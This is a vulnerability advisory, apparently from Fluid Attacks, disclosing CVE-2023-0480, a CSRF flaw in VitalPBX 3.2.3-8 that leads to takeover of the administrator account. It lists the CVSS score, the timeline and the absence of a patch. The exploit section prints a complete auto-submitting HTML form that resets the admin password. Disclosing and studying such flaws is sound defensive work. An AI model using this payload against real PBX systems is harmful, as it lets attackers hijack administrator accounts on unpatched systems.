

Advisories

VitalPBX 3.2.3-8 - Account Takeover via CSRF

6,5

Medium

Discovered by

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

VitalPBX 3.2.3-8 - Account Takeover via CSRF

Code name

Sharp

State

Public

Release date

10 de abr. de 2023

Affected product

VitalPBX

Affected version(s)

3.2.3-8

Vulnerability name

Cross-site request forgery

Vulnerability type

007. Cross-site request forgery

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

CVSS v3.1 base score

6.5

Exploit available

CVE ID(s)

CVE-2023-0480

Description

VitalPBX version 3.2.3-8 allows an unauthenticated external attacker to obtain the instance administrator's account. This is possible because the application is vulnerable to CSRF.

Vulnerability

This vulnerability occurs because the application is vulnerable to CSRF.

Exploit

To exploit this vulnerability, we only need to send the administrator a malicious HTML like the following.

<!DOCTYPE html>
<html>
 <body>
 <form action="http://137.184.73.151/index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="user_id" value="1" />
 <input type="hidden" name="class" value="user_profile" />
 <input type="hidden" name="method" value="put" />
 <input type="hidden" name="mode" value="edit" />
 <input type="hidden" name="username" value="admin" />
 <input type="hidden" name="email" value="" />
 <input type="hidden" name="password" value="hacked" />
 <input type="hidden" name="role" value="1" />
 <input type="hidden" name="startapp" value="dashboard" />
 <input type="hidden" name="startapp_custom" value="" />
 <input type="hidden" name="displayname" value="Administrator" />
 <input type="hidden" name="department" value="Administración" />
 <input type="hidden" name="userphoto" value="" />
 <input type="hidden" name="userphoto" value="" />
 <input type="hidden" name="userphoto_configured" value="" />
 <input type="hidden" name="theme" value="vital_pbx" />
 <input type="hidden" name="locale" value="en_US" />
 <input type="hidden" name="timezone" value="system" />
 <input type="hidden" name="multitab" value="1" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </body>
</html>

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0480 to refer to this issue from now on. Disclosure policy

System Information

Version: VitalPBX 3.2.3-8
Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Vendor page https://vitalpbx.com/

Timeline



Vulnerability discovered

24 de jan. de 2023



Vendor contacted

24 de jan. de 2023



Public disclosure

10 de abr. de 2023

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